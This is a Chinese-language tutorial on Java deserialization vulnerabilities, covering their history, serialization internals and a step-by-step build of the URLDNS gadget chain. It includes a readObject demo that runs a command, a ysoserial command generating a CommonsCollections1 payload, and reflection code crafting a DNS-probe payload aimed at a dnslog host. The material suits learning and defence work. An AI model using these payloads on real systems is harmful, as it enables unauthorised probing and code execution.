JAVA反序列化

Java反序列化漏洞:从背景到利用

01.历史背景与漏洞起源

2015年:反序列化漏洞的元年

在2015年1月28日,名为“Marshalling Pickles”的PPT被分享在slideshare网站上,由Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大会上进行了演讲。但遗憾的是,这次演讲在当时并没有激起太大的波澜。

PPT中详细描述了序列化(Serializing Objects),也可以称作“marshaling”、“pickling”、“freezing”、“flattening”。其核心作用是将内存中的对象进行“快照”和“拉平”,转化为平面化的、串行的数据流,以便进行存储、传输,或在不同位置进行重构和使用。PPT中还演示了多种攻击路径,包括在Java和Python环境中修改反序列化数据操纵应用程序状态、在PHP环境中操纵应用程序逻辑读取非预期文件,以及使用EL表达式在ViewState的序列化数据中执行代码。

真正将反序列化漏洞引入大众视野的,是2015年11月6日Fox Glove Security安全团队的Steve Breen(推特@breenmachine)在其团队博客上发布的长文,标题为:“Weblogic,WebSphere,JBoss,Jenkins,OpenNMS以及你的应用有什么共同点?漏洞!”这篇文章横扫了大部分主流Java中间件,正式拉开了反序列化漏洞的帷幕。

Steve Breen及其团队在研读了“Marshalling Pickles”的PPT后意识到,如果能在Commons-Collections这类公共库或流行框架中找到反序列化漏洞,带来的危害将是极大的。而令人惊讶的是,从1月PPT发布到11月,Commons-Collections框架都没有对该漏洞进行修复。于是他们从寻找commons-collections库反向寻找调用点,或者直接抓网络包查找有序列化数据特征的访问路径,使用frohoff公开的ysoserial工具生成payload,成功攻击了Weblogic的T3协议、OpenNMS的RMI、Jenkins的Jenkins-CLI、JBoss的JMXInvokerServlet、WebSphere的管理端口等主流Java中间件。

PPT中对漏洞机理的阐述

PPT作者将上述攻击行为延伸和扩展,使其成为了远程代码执行漏洞。虽然现在习惯根据漏洞利用方式称其为反序列化漏洞,但实际上PPT中对这种漏洞类型的叫法是:Property-Oriented Programming / Object Injection(面向属性编程/对象注入)。这个叫法可以追溯到Stefan Esser在Blackhat 2010上的PPT。

面向属性编程的原理与二进制利用中的面向返回编程(Return-Oriented Programming)相似,都是从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构成一组连续的调用链。

PPT中由此引出了“gadget”的概念,描述了一个完整的反序列化攻击需要包含以下元素:

  • “kick-off” gadget(入口点):在反序列化过程中或反序列化之后会执行
  • “sink” gadget(终点):执行任意代码或命令的类
  • 多个chain gadget:将“kick-off”和“sink”连接起来,形成链形调用

攻击流程为:形成的序列化chain发送到有脆弱性的应用程序中,chain在序列化过程中或序列化之后在应用程序中执行。

同时,PPT也指出了这种攻击在Java环境中的局限性:

  • 只能使用应用程序中的类
  • 漏洞代码和gadgets中使用类的ClassLoader问题
  • gadgets类必须实现Serializable/Externalizable接口
  • 库/类版本差异
  • static类型的常量

Java中反序列化数据的常见位置

Java喜欢在多个位置对对象进行序列化,这基本覆盖了大部分的触发点:

  • HTTP请求中:Parameters、ViewState、Cookies等位置
  • RMI(远程方法调用):RMI协议百分百基于序列化
  • RMI over HTTP:很多胖客户端Web应用程序使用
  • JMX(Java管理扩展):同样依赖于反序列化
  • 自定义协议:为发送/接收Java对象制定的新协议规范

02.序列化与反序列化基础

概述

Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。简单来说,就是将Java对象当前状态以字节序列的形式描述出来,这串字节可能被储存或发送到任何需要的位置,在适当的时候再将它转回原本的Java对象。

这中间需要一个规则,描述了序列化和反序列化时究竟该如何把一个对象处理成字节序列,又如何把字节序列变回对象,这一过程必须是可逆的。

实现条件

只有实现了SerializableExternalizable接口的类的对象才能被序列化为字节序列,否则会抛出异常。

Serializable接口

Serializable接口是Java提供的序列化接口,它是一个空接口,用来标识当前类可以被ObjectOutputStream序列化,以及被ObjectInputStream反序列化:

1
2
public interface Serializable {
}

Externalizable接口

Externalizable接口是一个更高级别的序列化机制,允许类对序列化和反序列化过程进行更多的控制和自定义。与Serializable不同,Externalizable接口的序列化和反序列化方法对对象的状态完全负责,包括对象的所有成员变量。

实现Externalizable的要求:

  • 类必须显式实现Externalizable接口
  • 必须实现writeExternalreadExternal方法来手动指定对象的序列化和反序列化过程
  • 必须提供一个公共的无参数构造函数,因为反序列化过程需要调用该构造函数来创建对象实例

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.*;

public class MyClass implements Externalizable {
private int id;
private String name;

// 必须提供默认的构造函数
public MyClass() {}

public MyClass(int id, String name) {
this.id = id;
this.name = name;
}

@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeInt(id);
out.writeUTF(name);
}

@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
id = in.readInt();
name = in.readUTF();
}
}

其他序列化条件

  • 对象的所有成员都可序列化:如果一个类实现了Serializable接口,但其成员中有某些成员变量不可序列化,则序列化操作会失败
  • 静态成员变量不参与序列化:静态成员变量属于类级别的数据,不包含在序列化的过程中
  • transient关键字:如果某个成员变量被声明为transient,则在序列化过程中会被忽略,不会被持久化
  • 序列化版本号serialVersionUID:序列化版本号不一致反序列化会失败。建议显式声明一个名为serialVersionUID的静态变量,用于控制序列化的版本。若不声明,Java会根据类的结构自动生成一个版本号,若类的结构发生变化则版本号不同,无法反序列化

ObjectOutputStream:实现序列化

ObjectOutputStream用于将Java对象的原始数据类型和图形写入OutputStream,实现序列化功能。其继承关系如下:

  • 父类OutputStream:所有字节输出流的顶级父类,用来接收输出的字节并发送到某些接收器
  • 接口ObjectOutput:扩展了DataOutput接口,提供了将数据从任何Java基本类型转换为字节序列并写入二进制流的功能,并在其基础上增加了writeObject方法
  • 接口ObjectStreamConstants:定义了一些在对象序列化时写入的常量,如STREAM_MAGICSTREAM_VERSION

关键方法

writeObject:核心方法,用来将一个对象写入输出流中。负责为指定的类编写其对象的状态,以便后续使用对应的readObject方法来恢复它。

writeUnshared:将非共享对象写入ObjectOutputStream,会使用BlockDataOutputStream的新实例进行序列化操作,不会使用原来OutputStream的引用对象。

writeObject0writeObjectwriteUnshared实际上都调用writeObject0方法,它是上述两个方法的基础实现。

writeObjectOverride:如果ObjectOutputStream中的enableOverride属性为true,writeObject方法将会调用writeObjectOverride,这个方法由ObjectOutputStream的子类实现,用于完全重新实现序列化功能。

ObjectInputStream:实现反序列化

ObjectInputStream用于恢复那些已经被序列化的对象,实现反序列化功能。其继承关系如下:

  • 父类InputStream:所有字节输入流的顶级父类
  • 接口ObjectInput:扩展了DataInput接口,提供了从二进制流读取字节并将其重新转换为Java基础类型的功能,额外提供了readObject方法
  • 接口ObjectStreamConstants:同上

关键方法

readObject:从ObjectInputStream读取一个对象,将读取对象的类、类的签名、类的非transient和非static字段的值,以及其所有父类类型。该方法会“传递性”地执行,即在反序列化过程中会调用反序列化类的readObject方法,以完整地重新生成这个类的对象。

readUnshared:从ObjectInputStream读取一个非共享对象,与readObject类似,但不同点在于不允许后续的readObjectreadUnshared调用引用这次调用反序列化得到的对象。

readObject0readObjectreadUnshared实际上调用readObject0方法,是上面两个方法的基础实现。

readObjectOverride:由ObjectInputStream子类调用,与writeObjectOverride一致。

通过以上分析可以看出,ObjectOutputStreamObjectInputStream的实现几乎是一种对称的、双生的方式。

常见的输入输出流

除了FileInputStream/FileOutputStream之外,根据条件的不同,还可以使用其他的输入输出流来处理数据:

  • BufferedInputStream/BufferedOutputStream:当需要对读取或写入的数据进行缓冲以提高性能时使用,特别是对大文件或网络数据流
  • ByteArrayInputStream/ByteArrayOutputStream:当需要从字节数组中读取数据,或将数据写入到字节数组中时使用
  • PipedInputStream/PipedOutputStream:当需要通过管道与另一个线程进行数据交换时,可用于线程间通信
  • DataInputStream/DataOutputStream:当需要从输入流中以Java基本数据类型的格式读取数据,或以Java基本数据类型的格式将数据写入输出流时使用
  • FileInputStream/FileOutputStream:当需要从文件中读取字节数据,或将数据写入文件时使用

序列化版本号serialVersionUID

Java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的。在进行反序列化时,JVM会把传进来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。

如果没有显式指定serialVersionUID,Java会根据类的结构自动生成一个,这种情况下只有同一次编译生成的class才会生成相同的serialVersionUID

为了解决兼容性问题,建议在要序列化的类中显式声明:

1
private static final long serialVersionUID = 1L;

03.反序列化漏洞原理

漏洞触发机制

前面提到过,一个类想要实现序列化和反序列化,必须要实现java.io.Serializablejava.io.Externalizable接口。其中,如果被序列化的类重写了writeObjectreadObject方法,Java将会委托使用这两个方法来进行序列化和反序列化的操作。

正是因为这个特性,导致反序列化漏洞的出现:在反序列化一个类时,如果其重写了readObject方法,程序将会调用它,如果这个方法中存在一些恶意的调用,则会对应用程序造成危害。

漏洞代码示例

以下代码创建了Person类,实现了Serializable接口,并重写了readObject方法,在方法中使用Runtime执行命令弹出计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Person implements Serializable {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("open -a Calculator.app");
}
}

Person类序列化并写入文件,随后对其进行反序列化,就触发了命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class SerializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person("zhangsan", 24);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt"));
oos.writeObject(person);
oos.close();

FileInputStream fis = new FileInputStream("abc.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}

底层调用过程分析

下面来详细分析java.io.ObjectInputStream#readObject()方法的底层实现,理解为什么重写了readObject就会被执行。

  1. readObject方法实际调用readObject0方法反序列化字符串。

  2. readObject0方法以字节的方式去读,如果读到0x73,则代表这是一个对象的序列化数据,将会调用readOrdinaryObject方法进行处理。

  3. readOrdinaryObject方法会调用readClassDesc方法读取类描述符,并根据其中的内容判断类是否实现了Externalizable接口:

    • 如果是,则调用readExternalData方法去执行反序列化类中的readExternal
    • 如果不是,则调用readSerialData方法去执行类中的readObject方法
  4. readSerialData方法首先通过类描述符获得了序列化对象的数据布局,通过布局的hasReadObjectMethod方法判断对象是否有重写readObject方法,如果有,则使用invokeReadObject方法调用对象中的readObject

通过上述分析,可以清晰了解反序列化漏洞的触发原因。与反序列化漏洞的触发方式相同,在序列化时,如果一个类重写了writeObject方法且其中产生恶意调用,也将会导致漏洞,不过在实际环境中,序列化的数据来自不可信源的情况相对少见。

接下来需要找到那些重写了readObject方法的类,并找到相关的调用链来触发漏洞。

04.URLDNS利用链分析

为什么从URLDNS开始学习

网上很多学习Java反序列化漏洞的文章,都是从CommonsCollections这条利用链开始学起的。但CommonsCollections是一条相对复杂的利用链,对于新手来说理解难度较高。

因此,建议学习Java反序列化从URLDNS开始看起,因为它有非常突出的优点:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
  • 只经过了6个函数调用,在Java中已经算很少了
  • 没有JDK版本限制

URLDNS虽然被收录在ysoserial中,但准确来说不能称作真正意义上的“利用链”,因为其参数不是一个可以“利用”的命令,而仅为URL,触发的结果也不是命令执行,而是一次DNS请求。通常用来探测是否存在反序列化漏洞。

ysoserial:反序列化漏洞利用的里程碑工具

ysoserial是Gabriel Lawrence和Chris Frohoff在AppSecCali议题中释出的工具,它可以让用户根据自己选择的利用链生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。

利用链也叫“gadget chains”,通常简称为gadget。如果类比PHP反序列化漏洞,gadget就是从触发位置开始到执行命令位置结束的一条方法链,比如从__destructeval

ysoserial的使用很简单,大部分gadget的参数就是一条命令:

1
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

生成的POC发送给目标,如果目标存在反序列化漏洞并满足该gadget对应的条件,则命令将被执行。

漏洞触发点:URL类的特性

这个漏洞的关键点是Java内置的java.net.URL类,它的equalshashCode方法具有一个有趣的特性:在对URL对象进行比较时(使用equalshashCode),会触发一次DNS解析,因为对于URL来说,如果两个主机名都可以解析为相同的IP地址,则这两个主机会被认为是相同的。

从equals方法看触发过程

URL#equals方法重写了Object的判断,调用URLStreamHandler#equals方法进行判断,该方法会调用sameFile方法比较两个URL是否引用了相同的protocol(协议)、host(主机)、port(端口)、path(路径)。

sameFile方法在比较host时,调用hostsEqual方法进行比较,而hostsEqual方法调用getHostAddress方法对要比较的两个URL进行请求解析IP地址。

getHostAddress方法使用InetAddress.getByName()方法对host进行解析,触发了DNS请求。

从hashCode方法看触发过程

URLhashCode方法也进行了重写,调用了URLStreamHandler#hashCode方法,其中同样是调用了getHostAddress方法对URL的host进行解析。

URLStreamHandler#hashCode方法的实现依次获取传入URL链接的Protocol(协议)、HostAddress(主机地址)、File(文件路径)、Port(端口)、Ref(锚点,即#后面的部分),对每部分调用它们的hashCode方法将结果累加返回。其中getHostAddress方法就是触发DNS解析的关键点。

测试代码验证:

1
2
3
4
URL url = new URL("http://su18.dnslog.cn");
URL url2 = new URL("http://su19.dnslog.cn");
url.equals(url2);
url.hashCode();

无论是使用equals方法还是hashCode方法,应用程序都会触发访问。

入口类:HashMap

重写了readObject的类java.util.HashMap是URLDNS gadget的主角。HashMap是Java中最常用的Map实现类,以键值对的方式存储数据,为提升操作效率,根据键的hashCode值存储数据。

HashMap的readObject方法在反序列化时,会从序列化数据中读取键值对,进行for循环处理:

1
2
3
4
5
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

其中hash方法的实现为:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到,HashMap在反序列化时会调用其中key对象的hashCode方法来计算hash值。如果key是一个URL对象,就会触发DNS解析查询。

选择HashMap作为入口类的原因:

  • 实现了Serializable接口,可以被反序列化
  • 重写了readObject方法
  • 参数类型宽泛,只要是Object都可以
  • JDK自带

构造Payload及常见问题

序列化过程中的坑

在使用HashMap的put方法时,同样会调用putVal方法对key进行hash,从而触发DNS解析。如果在生成payload时就触发了DNS查询,会带来两个问题:

  1. 本地存在了解析记录,第二次解析就不会去请求DNS服务器,导致反序列化时看不到解析记录
  2. URL对象的hashCode属性被缓存,后续不再触发URLStreamHandlerhashCode方法

URL对象的hashCode属性默认为-1,当hashCode方法被调用后,会在这个属性中缓存已经计算过的值:

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

如果再次计算将直接返回值,不会触发URLStreamHandlerhashCode方法。

解决方案一:反射修改hashCode值

先调用put方法,然后用反射将URL对象的hashCode改回-1:

1
2
3
4
5
6
7
8
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://su18.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);

f.set(url, 0x01010101); // 先设置为非-1的值
hashMap.put(url, 0);
f.set(url, -1); // 再改回-1

解决方案二:反射调用putVal方法

直接反射调用HashMap的putVal方法绕过hash计算:

1
2
3
4
5
6
7
8
9
10
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://su18.dnslog.cn");

Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
for (Method method : m) {
if (method.getName().equals("putVal")) {
method.setAccessible(true);
method.invoke(hashMap, -1, url, 0, false, true);
}
}

但由于JDK版本差异(1.7和1.8方法名不一样),这种方法不具有通用性。

解决方案三(ysoserial的实现):自定义SilentURLStreamHandler

ysoserial采用了更优雅的方式,自定义URLStreamHandler的子类SilentURLStreamHandler,重写getHostAddress方法直接返回null:

1
2
3
4
5
6
7
8
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

在初始化URL对象时传入这个自定义handler,这样在put方法触发hash计算时,调用的是自定义的getHostAddress,不会触发真正的DNS查询。然后在put之后通过反射将hashCode改回-1。

完整实现:

1
2
3
4
5
6
7
8
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL(null, "http://su18.dnslog.cn", handler);
hashMap.put(url, 0);

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);

调用链总结

整个URLDNS的gadget链非常清晰简单:

1
2
3
4
5
6
HashMap.readObject()
-> HashMap.hash(key)
-> URL.hashCode()
-> URLStreamHandler.hashCode(URL)
-> URLStreamHandler.getHostAddress(URL)
-> InetAddress.getByName(String) # 触发DNS解析

从反序列化最开始的readObject到最后触发DNS请求的getByName,总共只经过了6个函数调用。要构造这个Gadget,只需要:

  1. 初始化一个java.net.URL对象作为key放在java.util.HashMap
  2. 设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发后续的DNS请求

这就是为什么URLDNS是学习Java反序列化漏洞的最佳入门案例——它足够简单,却完整展示了反序列化利用链的核心思路:从一个重写了readObject的入口类出发,经过中间方法的层层调用,最终到达一个能执行敏感操作的sink点。 这种寻找和构造调用链的思路,是理解所有更复杂的反序列化gadget的基础。